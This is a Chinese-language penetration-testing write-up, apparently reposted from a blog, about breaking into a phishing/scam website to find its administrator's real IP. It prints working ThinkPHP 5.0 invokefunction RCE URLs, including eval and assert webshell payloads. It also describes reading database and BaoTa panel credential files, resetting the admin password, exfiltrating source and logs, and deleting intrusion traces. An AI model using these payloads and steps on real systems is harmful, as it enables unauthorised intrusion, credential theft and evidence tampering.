渗透步骤和知识点:
信息搜集
尝试写马getshell
thinkphp文件泄露获取账号
连接数据
登录后台
宝塔数据文件
获取管理员IP
01
信息收集
在对网站进行初步信息收集后发现网站使用ThinkPHP 5.0.7框架,直接找到ThinkPHP对应版本的Exp进行尝试:http://www.hu*****.***/index.php?s=/index/thinkapp/invokefunction&function=phpinfo&vars[0]=1 //执行phpinfo
成功弹出phpinfo,ThinkPHP的RCE漏洞没有修复,并且通过phpinfo可以看出服务器使用宝塔搭建,运行Windows系统,本想着接下来的事情就非常简单了,但是当我写Shell时遇到了困难。
02
尝试写马getshell
http://www.hu*****.***/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=ye.php&vars[1][]=<?php eval($_POST['cmd']);?>
文件被成功写入,但是却直接输出在了页面中,查看源代码发现< >
被转义为了HTML实体编码:
在尝试利用base64编码后再写入,发现依然被转义,直接命令执行试一试:http://www.hu*****.***/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
发现并没有出现回显,尝试反弹Shell也无功而返,这个时候感觉到system可能被禁用了,改用eval依旧无果,最后使用assert发现可以成功执行,直接构造Shell连接:http://www.hu*****.***/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_POST[ye])
得到Shell后先尝试执行命令,但是命令依旧无法正常执行,尝试突破disables_function但失败了。
03
文件泄漏
这个时候思路转换一下,查看ThinkPHP框架的服务器配置文件/application/database.php
得到MySQL数据库账户
04
连接数据库
连接数据库:
查询后台管理员数据:
却发现md5无法解开,但是大致查看了数据库中的数据,到这里并没有发现什么有较大帮助的数据,因而并没有考虑继续死磕在后台账户上
接下来的主要重心应放在对于该站点管理员的信息收集上,先查看一下ThinkPHP框架中的日志记录文件/runtime/log/202107/05.log
在日志中发现system函数果然被禁用了:
05
登录后台
与此同时也在日志中发现了一条刚才检查数据库时忽略掉的重要数据——后台管理员最后登陆IP:
翻阅前几日记录发现最后登陆IP都是101.78.*.*
这个IP地址,怀疑这就是网站管理员IP地址,反馈给学长后查询了一下该IP,发现是香港的IP,心里一慌:这应该是挂了V P N了吧
结果不出所料:
接下来的工作陷入了僵局,翻阅ThinkPHP的日志后并没有发现其他IP的登陆数据,修改数据库中后台管理员账户密码,登录后台后也没有发现任何有用的信息,只有一些钓鱼文章的管理:
06
宝塔账户信息泄露
后来和一个大师傅交流了一下,大师傅建议查一下看宝塔中有没有留下有用信息,在C:/BtSoft/panel/data/default.db
中找到了宝塔面板的数据文件,获取到宝塔的账户信息:
同时也查阅了一下宝塔数据库中的log日志内容:
但是却无法解出密码,这时可以通过覆盖db文件重新设置账户密码,但该方法需要重启面板,受限于我们目前的情况,这个办法很难实现
于是思路再次陷入了僵局中,睡了一觉第二天醒来想起宝塔面板会有请求记录日志,于是在C:/BtSoft/panel/logs/request/
中找到了大量以json形式储存的请求信息
07
获取真实IP
打开时间较早的日志文件,果然有所突破(有可能是V P N不稳定,在操作时突然挂掉了,导致真实IP的泄漏):
在查询175.167.*.*
后,发现是辽宁沈阳的IP地址,用网上的工具进行大致定位反馈给学长
顺带将网站的源码、数据库、log日志文件进行打包取证,一并收集起来,最后再删掉我们在渗透时留下的请求记录
完事收工
原文链接:https://www.cnblogs.com/yesec/p/14983903.html
声明:文中技术主要用于学习研究,侵权必须删。
推荐阅读:
▶【渗透实战系列】25|一次从 APP 逆向到 Getshell 的过程
▶【渗透实战系列】24|-针对CMS的SQL注入漏洞的代码审计思路和方法
▶【渗透实战系列】18-手动拿学校站点 得到上万人的信息(漏洞已提交)
▶【渗透实战系列】|17-巧用fofa对目标网站进行getshell
▶【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点
▶【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局
▶【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)
▶【渗透实战系列】|9-对境外网站开展的一次web渗透实战测试(非常详细,适合打战练手)
▶【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)
▶【渗透实战系列】|6- BC杀猪盘渗透一条龙(文末附【渗透实战系列】其他文章链接)
▶【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)
点分享
点收藏
点点赞
点在看
本文始发于微信公众号(Hacking黑白红):【渗透实战系列】27|-对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论